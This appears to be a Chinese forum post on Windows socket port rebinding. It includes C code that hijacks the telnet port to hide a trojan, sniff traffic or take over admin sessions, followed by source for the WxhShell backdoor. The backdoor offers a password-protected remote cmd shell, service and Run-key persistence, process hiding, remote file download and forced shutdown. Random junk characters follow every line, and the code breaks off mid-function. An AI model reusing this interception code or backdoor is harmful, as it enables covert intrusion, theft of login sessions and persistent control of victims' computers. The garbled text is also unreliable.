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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L/I-(08!Y:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j*{bM{~T<  
F@BNSs N=  
  saddr.sin_family = AF_INET; 1yu!:8=ee  
~CA+'e%~~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ; F=_ozWV*  
$gNCS:VG*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XHr{\/4V  
iYf4 /1IG,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WxFjpJt  
B.?yHaMI[  
  这意味着什么?意味着可以进行如下的攻击: =%L^!//c  
O,cx9N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <T wq{kt  
~&x%;cnv_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m"*:XfOL  
oZ}e w!V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fHigLL0B  
0`W~2ai  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  AS7!FD6b  
n>HNpy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {x8`gP\H  
wb}tN7~Y;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sR6 (8  
6]Jv3Re'(I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O v-I2  
UZ1 lI>  
  #include &l Q j?]  
  #include [Ue>KG62=  
  #include % Y @3)  
  #include    ;Gi w7a)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r (uM$R$o  
  int main() =vFI4)$-  
  { ?sO_c3^7z  
  WORD wVersionRequested; ]HRZ9oP  
  DWORD ret; ?o4&cCFOE  
  WSADATA wsaData; vl#/8]0!  
  BOOL val; 3EyN"Lvp{o  
  SOCKADDR_IN saddr; <ygO?m{  
  SOCKADDR_IN scaddr; J=$v+8&.  
  int err; J.-#:OZ  
  SOCKET s; bfJDF(=h  
  SOCKET sc; DirWe  
  int caddsize; %S^`/Snv"  
  HANDLE mt; $*PyzLS  
  DWORD tid;   4nY2v['m0  
  wVersionRequested = MAKEWORD( 2, 2 ); HV sIbQS  
  err = WSAStartup( wVersionRequested, &wsaData ); DGU$3w  
  if ( err != 0 ) { ~DJ/sY2/  
  printf("error!WSAStartup failed!\n"); @ +7'0[y?  
  return -1; #zXDh3%]a  
  } +q4T];<  
  saddr.sin_family = AF_INET; d1,azM  
   #NqA5QR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pS%Az)3RZ  
H`y- "L8q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); sK\?i3<?  
  saddr.sin_port = htons(23); xpV8_Gz;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H(pOR< `  
  { %B~`bUHjq  
  printf("error!socket failed!\n"); lu>>~vy6  
  return -1; H P7Ec  
  } D^A_0@  
  val = TRUE; KAe) X_R7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5'o.v^l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iw#luHcJ  
  { )QX9T  
  printf("error!setsockopt failed!\n"); <q!{<(:  
  return -1; R ~cc]kp0  
  } GxvVh71zP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; We" "/X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cJqPcCq(wn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E J 9A 4B  
rz3&khi  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (Q @m;i>  
  { 0S' EnmG  
  ret=GetLastError(); M~@\x]p >  
  printf("error!bind failed!\n"); 6 Fm.^9@  
  return -1; ]$z~;\T  
  } &;y(@e }D  
  listen(s,2); m, *f6g  
  while(1) \O^= Z{3y  
  { '8}\! i&  
  caddsize = sizeof(scaddr); i1/FNem  
  //接受连接请求 A\=:h  AQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "e_ED*  
  if(sc!=INVALID_SOCKET) $mpfr#!&3o  
  { d 5Il0sG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 87*R#((  
  if(mt==NULL) V,>#!zUv  
  { =P5SFMPN  
  printf("Thread Creat Failed!\n"); BG'gk#J+f  
  break; D,X$66T ^  
  } $CXqkK<6  
  } KYlWV<sR  
  CloseHandle(mt); eqLETo@} *  
  } M14pg0Q  
  closesocket(s); 7C&`i}/t  
  WSACleanup(); /R^!~J50  
  return 0; z9VQsC'K  
  }   %.Mtn%:I *  
  DWORD WINAPI ClientThread(LPVOID lpParam) ma-|L3 #  
  { ;T/' CD  
  SOCKET ss = (SOCKET)lpParam; &*0!${ B  
  SOCKET sc; ,PY<AI^59  
  unsigned char buf[4096]; zO!`sPP  
  SOCKADDR_IN saddr; Ad]r )d{  
  long num; #8[,w.X  
  DWORD val; EkJo.'0@  
  DWORD ret; xNjA>S\]W5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +[*UC"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $-o39A#  
  saddr.sin_family = AF_INET; 8_KXli}7=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T nPC\.x  
  saddr.sin_port = htons(23); ]bRu8kn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4}8Xoywi1  
  { ^\x PF5  
  printf("error!socket failed!\n"); m V^dIm  
  return -1; z.{y VQE  
  } mv + .5X  
  val = 100; F*Qw%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {5*+  
  { VM-J^  
  ret = GetLastError(); 6C)OO"Bc  
  return -1; w$2-t  
  } ,ll!19y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @89mj{  
  { )L_jR%2j  
  ret = GetLastError();  f0:)  
  return -1; L@v0C)  
  } j^LnHVHk1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4 9#I  
  { !n !~Bw  
  printf("error!socket connect failed!\n"); yQ&;#`!'  
  closesocket(sc); =#1/<q)L  
  closesocket(ss); js2?t~E]  
  return -1; bv|v9_i  
  } `GH6$\:  
  while(1) cbS8~Xmj  
  {  E?%k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M"~B_t,Nw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t-/%|@?D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GT'%HmQI  
  num = recv(ss,buf,4096,0); <$ '#@jW  
  if(num>0) l1YyZ^Z  
  send(sc,buf,num,0); .H9!UQ&It  
  else if(num==0) oq;}q  
  break; JlG yGr^MD  
  num = recv(sc,buf,4096,0); p61"a,Xc  
  if(num>0) eeuAo&L&  
  send(ss,buf,num,0); b$g.">:$  
  else if(num==0) 0z\=uQ0  
  break; g2F~0%HY  
  } DfqXw^BKD  
  closesocket(ss); w6Ue5Ix,!  
  closesocket(sc); '?Hy"5gUA  
  return 0 ; J2yq|n?2gq  
  } c[ =9Z;|  
JCE364$$"  
9/^4W.  
========================================================== ;Q-sie(#  
w)3LYF  
下边附上一个代码,,WXhSHELL Qg1LT8  
.\< \J|3  
========================================================== ~d>O.*Q)  
T*LbZ"A  
#include "stdafx.h" c9DX  
At.WBa3j%{  
#include <stdio.h> %_} #IS1  
#include <string.h> *:)#'cenI  
#include <windows.h> DlTV1X-^1  
#include <winsock2.h> 0]NjsOU =  
#include <winsvc.h> OB5(4TY  
#include <urlmon.h> Z=n& fsE  
m;8_A|$A  
#pragma comment (lib, "Ws2_32.lib") B>-Iv _  
#pragma comment (lib, "urlmon.lib") >}_c<`:  
4 YI,:  
#define MAX_USER   100 // 最大客户端连接数 @4hxGk=  
#define BUF_SOCK   200 // sock buffer Hk$|.TjzI  
#define KEY_BUFF   255 // 输入 buffer 0^tF_."Y  
| u36-  
#define REBOOT     0   // 重启 c]&(h L  
#define SHUTDOWN   1   // 关机 /C_O/N  
9?l( }S`  
#define DEF_PORT   5000 // 监听端口 [ *R8XXuL  
7| IW\  
#define REG_LEN     16   // 注册表键长度 Hya*7l']B  
#define SVC_LEN     80   // NT服务名长度 dzggl(  
M[HPHNsA&  
// 从dll定义API Q8T4_p [-o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dYk)RX`}7!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cXtL3T+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CSwNsFDR%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pO=bcs8Z  
UV@<55)K  
// wxhshell配置信息 Za4 YD  
struct WSCFG { }evc]?1(  
  int ws_port;         // 监听端口 Qa(u+  
  char ws_passstr[REG_LEN]; // 口令 %[;<'s5e~  
  int ws_autoins;       // 安装标记, 1=yes 0=no $Iv*?S"2  
  char ws_regname[REG_LEN]; // 注册表键名 @q[-,EA9  
  char ws_svcname[REG_LEN]; // 服务名 X!nI{PE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y==# yNwM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mp"] =  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CK'Cf{S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +1F@vag7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !W n'Ae9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RSzp-sKB  
CA[k$Sw*  
}; F_\\n#bv  
st/Tb/  
// default Wxhshell configuration &> }MoB  
struct WSCFG wscfg={DEF_PORT, 9S.R%2xw`  
    "xuhuanlingzhe", A3!NEFBK  
    1, ?W%3>A  
    "Wxhshell", CDoZv""  
    "Wxhshell", H*;J9{  
            "WxhShell Service", Z*jhSy  
    "Wrsky Windows CmdShell Service", :8yrtbf$  
    "Please Input Your Password: ", ~O |j*T  
  1, ,Sghi&Ky  
  "http://www.wrsky.com/wxhshell.exe", vTU"c>]  
  "Wxhshell.exe" i|.!*/qF  
    }; 1[u{3lQ  
Scxf5x-  
// 消息定义模块 e[>(L%QV+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |;9OvR> A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0v+5&Jk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aH,0+|  
char *msg_ws_ext="\n\rExit."; >(:KEA  
char *msg_ws_end="\n\rQuit."; {K_YW  
char *msg_ws_boot="\n\rReboot..."; 89+m?H]K  
char *msg_ws_poff="\n\rShutdown..."; pr@8PD2%  
char *msg_ws_down="\n\rSave to "; _aa3Qw x  
kf&id/|  
char *msg_ws_err="\n\rErr!"; @2kt6 W  
char *msg_ws_ok="\n\rOK!"; /HI#8  
(O /hu3  
char ExeFile[MAX_PATH]; C0KP,JS&  
int nUser = 0; [G t|Qp[   
HANDLE handles[MAX_USER]; YC*S;q  
int OsIsNt; [rE,fR   
mZMLDs:  
SERVICE_STATUS       serviceStatus; B7N?"'$i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pz.<5  
r|?2@VE  
// 函数声明 {#Mz4s`M  
int Install(void); y4 P mL  
int Uninstall(void); PNg,bcl  
int DownloadFile(char *sURL, SOCKET wsh); cnhYrX^  
int Boot(int flag); |]\qI  
void HideProc(void); {Qlvj.Xw  
int GetOsVer(void); c1jgBty  
int Wxhshell(SOCKET wsl); (fY(-  
void TalkWithClient(void *cs); j Dy  
int CmdShell(SOCKET sock); pA1Tod  
int StartFromService(void); GJ{]}fl  
int StartWxhshell(LPSTR lpCmdLine); {9_CH<$W%U  
6dq5f?w]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !mq+Oz~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wQ4/eQ*  
L!-T`R8'c  
// 数据结构和表定义  mEhVc!  
SERVICE_TABLE_ENTRY DispatchTable[] = @Je{;1   
{ T9N /;3  
{wscfg.ws_svcname, NTServiceMain}, pbloL3d.;+  
{NULL, NULL} S(9fGh  
}; L[##w?Xf.  
^ 8egn|  
// 自我安装 =,,!a/U  
int Install(void) H.!M_aJH  
{ $+:_>n^#/  
  char svExeFile[MAX_PATH]; 3ef]3  
  HKEY key; 6S<J'9sE  
  strcpy(svExeFile,ExeFile); sq&$   
ks 3<zW(  
// 如果是win9x系统,修改注册表设为自启动 M nH4p  
if(!OsIsNt) { R9fM9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F7cv`i?2."  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m_' 1yX@  
  RegCloseKey(key); nuhKM.a{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { umSbxEZU@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DoNbCVZ  
  RegCloseKey(key); 3QU<vdtr  
  return 0; {p1#H`  
    } 1r|'n aiZ  
  } F0+u#/#  
} tE=P9 \4  
else { ([tbFI}A  
^'6!)y#  
// 如果是NT以上系统,安装为系统服务 wM_k D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +hV7o!WxC  
if (schSCManager!=0) wUW+S5"K  
{ J=| fxR  
  SC_HANDLE schService = CreateService L%U-MOS=  
  ( vX/~34o]\  
  schSCManager, N3 07lGb  
  wscfg.ws_svcname, 7`|$uIM`  
  wscfg.ws_svcdisp, '-S^z"ZrI  
  SERVICE_ALL_ACCESS, `=vL?w^QS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^)D[ W(*  
  SERVICE_AUTO_START, \C~Y  
  SERVICE_ERROR_NORMAL, pDrM8)r  
  svExeFile, 7b \HbgZ  
  NULL, i|)<#Ywl  
  NULL, wh[XJ_xY  
  NULL, 2u/~#Rt&*  
  NULL, : H0+}=  
  NULL [8(e`6xePb  
  ); BC 9rsb  
  if (schService!=0) 7rbl+:y2  
  { |Q?IV5%$  
  CloseServiceHandle(schService); Qf6Vj,~N  
  CloseServiceHandle(schSCManager); oV&AJ=|\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DnMfHG[<  
  strcat(svExeFile,wscfg.ws_svcname); XjuAVNY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /RIvUC1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "z1\I\ ^  
  RegCloseKey(key); =*~]lz__M  
  return 0; :1PT`:Y  
    } y.=ur,Nd  
  } wm%9>mA%  
  CloseServiceHandle(schSCManager); :{E;*v_!v  
} Ze~^+ EE  
} R0B\| O0Uv  
:-fCyF)EI  
return 1; v2 T+I]I  
} 4@&8jZ)a  
KnaQhZ  
// 自我卸载 b*+Od8r  
int Uninstall(void) T<=Ci?C v  
{ ps\A\aggML  
  HKEY key; 7hlgm7 ^  
m-xSF]q=<  
if(!OsIsNt) { LBh|4S$K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z@nWx]iz  
  RegDeleteValue(key,wscfg.ws_regname); )$p<BLU  
  RegCloseKey(key); jjN ]*{s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,B_Nz}\8  
  RegDeleteValue(key,wscfg.ws_regname); s2FJ^4  
  RegCloseKey(key); PHU#$LG  
  return 0; &U^6N+l9  
  } B[%FZm$`M  
} ^oDCF  
} j"{|* _6E_  
else { rtd&WkU rD  
a NhI<.v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L 1iA ^ x  
if (schSCManager!=0) O~sv^  
{ N/IDj2C4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IhoV80b  
  if (schService!=0) In<L?U?([D  
  { \0?^%CD+@  
  if(DeleteService(schService)!=0) { xF![3~~3[  
  CloseServiceHandle(schService); BV_rk^}Ur  
  CloseServiceHandle(schSCManager); 1W*%}!&Gm  
  return 0; "|ZC2Zu<  
  } `}<x"f7.z  
  CloseServiceHandle(schService); O75^(keW  
  } *S,5  
  CloseServiceHandle(schSCManager); b|F4E{{D^  
} B7HNNX  
} !ZlBM{C  
<\40?*2  
return 1; pD;'uEFBQ  
} 2 u:w  
mNhVLB  
// 从指定url下载文件 9+><:(,  
int DownloadFile(char *sURL, SOCKET wsh) =*<Cw?Gc  
{ kYMKVR  
  HRESULT hr; l`"i'P   
char seps[]= "/"; G- nS0Kn:  
char *token; 3Ov? kWFO  
char *file; wyG7SA   
char myURL[MAX_PATH]; XL SYE   
char myFILE[MAX_PATH]; O.OPIQ=?:w  
)> >Tj7  
strcpy(myURL,sURL); 6jS:_[p  
  token=strtok(myURL,seps); E&js`24 &  
  while(token!=NULL) LEu_RU?  
  { 21k^MZ  
    file=token; !Miw.UmPm  
  token=strtok(NULL,seps); ]nmVT~lBe"  
  } KYe@2 6   
qRk<1.  
GetCurrentDirectory(MAX_PATH,myFILE); FZdZGK  
strcat(myFILE, "\\"); h zv4+1Wd[  
strcat(myFILE, file); $"#2hVO  
  send(wsh,myFILE,strlen(myFILE),0); z#DgoA  
send(wsh,"...",3,0); uKOsYN%D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xb6y=L  
  if(hr==S_OK) _c:}i\8R  
return 0; 1^R[kaY  
else T-.Q  
return 1; O:G5n 5J  
kx3?'=0;5  
} 4n}tDHvd  
<.d^jgG(j  
// 系统电源模块 hW~XE{<  
int Boot(int flag) jPum2U_  
{ E![Ye@w  
  HANDLE hToken; yAyq-G"sO  
  TOKEN_PRIVILEGES tkp; ?^f=7e8]  
!t.*xT4W  
  if(OsIsNt) { ]?1n-w.}r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3]z%C'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SAQ|1I#"/  
    tkp.PrivilegeCount = 1; >)+ -:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4ju=5D];   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B_ x?s  
if(flag==REBOOT) { B)!ty"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3 *g>kRMJ  
  return 0; I=;.o>  
} d[( }  
else { ]i)g!J8f-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 16cc9%   
  return 0; O/{X:Ja{  
} }HLs.k4-;  
  } @)^|U"  
  else { O~udlVn<6  
if(flag==REBOOT) { Dwx^hNh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $URL7hrhU  
  return 0; OZ SM2~  
} WL#E%6p[  
else { v9_7OMl/x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *ydh.R<hb  
  return 0; Yvn*evO4  
} 4S 7#B  
} [ 11D7L%1t  
 WBd$#V3  
return 1; Ug P  
} rm5@dM@  
<_8p6{=  
// win9x进程隐藏模块 x)0''}E~  
void HideProc(void) H'_v  
{ N~)RR {$w  
1Z_2s2`p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `z!6zo2d  
  if ( hKernel != NULL ) x^XP<R{D  
  { 25H=RTw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AK_,$'f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \&,{N_G#L.  
    FreeLibrary(hKernel); VEG p!~D  
  } ?`+G0VT  
:< *xG&  
return; \jCN ]A<  
} p\G1O*Z  
>V$ S\"  
// 获取操作系统版本 =#.qe=  
int GetOsVer(void) 3;<Vv*a"Dm  
{ 1Pp2wpD4iC  
  OSVERSIONINFO winfo; 6=3;(2u[C"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Kj/{V  
  GetVersionEx(&winfo); 6Z>G%yK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3DX@ggE2  
  return 1; @;b @O _  
  else zk^uS#  
  return 0; =>Q$S  
} 5STk"  
M=t;t0  
// 客户端句柄模块 GWCU 9n  
int Wxhshell(SOCKET wsl) 4V7=VZ, @3  
{ mXK7y.9\  
  SOCKET wsh; :7L[v9'  
  struct sockaddr_in client; {osadXd C  
  DWORD myID;  <6STw  
\}EJtux q  
  while(nUser<MAX_USER) "Gc\"'^r  
{ ohlCuH 3  
  int nSize=sizeof(client); iL8:I)z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D^<5gRK?  
  if(wsh==INVALID_SOCKET) return 1; YGsg0I't  
3\Tqs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s#4Q?<65u  
if(handles[nUser]==0) g..&x]aS(  
  closesocket(wsh); L 4Sa,ZL  
else Rwe!xY^d8  
  nUser++; \o<&s{ 6L  
  } (3  ]!ZV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4Pkl()\c  
Q4B(NYEu(  
  return 0; ;uyQR8  
} @s8wYcW  
AVi,+n  
// 关闭 socket 3dB{DuQ  
void CloseIt(SOCKET wsh) -o B` v'  
{ 39oI &D>8  
closesocket(wsh); VX,@Gp_'m  
nUser--; Sp./*h\}  
ExitThread(0); "VI2--%v3  
} r [4dGt  
,nGZ( EBD  
// 客户端请求句柄 K'zBDrkW-x  
void TalkWithClient(void *cs) o)sX?IiC  
{ 3bZ:*6W.6  
~=/.ZUQNX  
  SOCKET wsh=(SOCKET)cs; !I+F8p   
  char pwd[SVC_LEN]; Np>0c -S  
  char cmd[KEY_BUFF]; k!ac_}&NNv  
char chr[1]; sUN9E4  
int i,j; @jT=SFf  
m=qyPY  
  while (nUser < MAX_USER) { d'!abnF[d  
QB6. o6  
if(wscfg.ws_passstr) { 6(-c$d`C.0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,'a[1RN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a{+;&j[!  
  //ZeroMemory(pwd,KEY_BUFF); NUM+tg>KM  
      i=0; ;s!GpO7+  
  while(i<SVC_LEN) { #/o1D^  
G&@vTcF  
  // 设置超时 n{E9p3i  
  fd_set FdRead; =0_((eXwf  
  struct timeval TimeOut; l( uV@_3  
  FD_ZERO(&FdRead); )@E'yHYO>  
  FD_SET(wsh,&FdRead); TQsTL2a  
  TimeOut.tv_sec=8; Z1sRLkR^  
  TimeOut.tv_usec=0; l ^;=0UR_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *$9Rb2}kK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KDu~,P]  
*# ;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `V=F>s$W  
  pwd=chr[0]; Oi$$vjs2  
  if(chr[0]==0xd || chr[0]==0xa) { C`b)}dY  
  pwd=0; gM_MK8py  
  break; :8l#jU `y  
  } ]:Sb#=,!&!  
  i++; g]m}@b6(h  
    } Mk|*=#e;  
yCZ[z A  
  // 如果是非法用户,关闭 socket Vh8RVFi;c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ](SqLTB+?  
} ]tc Cr;  
.y2np  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4]m?8j) 6b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r)Fd3)e   
A1/[3Bz  
while(1) { XE?,)8  
;-d2~1$  
  ZeroMemory(cmd,KEY_BUFF); y0\=F  
h45RwQ5Z  
      // 自动支持客户端 telnet标准   =`MMB|{6  
  j=0; ?Y'r=Q{w  
  while(j<KEY_BUFF) { LT6VZ,S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %)PQomn?  
  cmd[j]=chr[0]; O^<\]_l  
  if(chr[0]==0xa || chr[0]==0xd) { 3y]rhB  
  cmd[j]=0; R*>EbOuI  
  break; Yy4l -}"  
  } 0w ;#4X:m  
  j++; %lqrq<Xn  
    } J%lEyU  
&d&nsQ  
  // 下载文件 N7}y U~j^  
  if(strstr(cmd,"http://")) { 'jjJ[16"d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1j\wvPLr  
  if(DownloadFile(cmd,wsh)) =8 01nZJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HRW }Yl  
  else @2R+?2 j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4KZ)`KPE  
  } &8@ a"  
  else { kd+tD!:F(  
*}Nh7 >d(  
    switch(cmd[0]) { !?J?R-C  
  \!!1o+#1j  
  // 帮助 0;:AT|U/d  
  case '?': { pb}4{]sI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &1M#;rE;D#  
    break; [eZ'h8  
  } &T[BS;  
  // 安装 D[bPm:\0M  
  case 'i': { G L8 N!,  
    if(Install()) vH/ Y]Am  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I oFtfb[  
    else AW/)R"+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e3x;(@j  
    break; un(fr7NW  
    } -KU@0G  
  // 卸载  Wkc^?0p  
  case 'r': { @ )m9#F  
    if(Uninstall()) Fa A7m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  9Li.B1j  
    else 6HxZS+], c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b%M|R%)]  
    break; 'w!8`LPu  
    } "i/3m'<2  
  // 显示 wxhshell 所在路径 "U%jG`q  
  case 'p': { >? ({  
    char svExeFile[MAX_PATH]; ~[9(}UM  
    strcpy(svExeFile,"\n\r"); /7-qb^V  
      strcat(svExeFile,ExeFile); :h)A/k_  
        send(wsh,svExeFile,strlen(svExeFile),0); +Y|HO[  
    break; jj*e.t:F  
    } c0W4<(  
  // 重启 32ae? d  
  case 'b': { 6N]V.;0_5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }c-tvK1g  
    if(Boot(REBOOT)) _HkB+D0v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6mbHfL>cO  
    else { {glRX R  
    closesocket(wsh); +i.b&PF'H  
    ExitThread(0); b1`(f"&l  
    } 'hw_ew   
    break; kN,WB  
    } l\Or.I7n  
  // 关机 Z`lCS o;  
  case 'd': { !%_H1jk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 95CCje{o _  
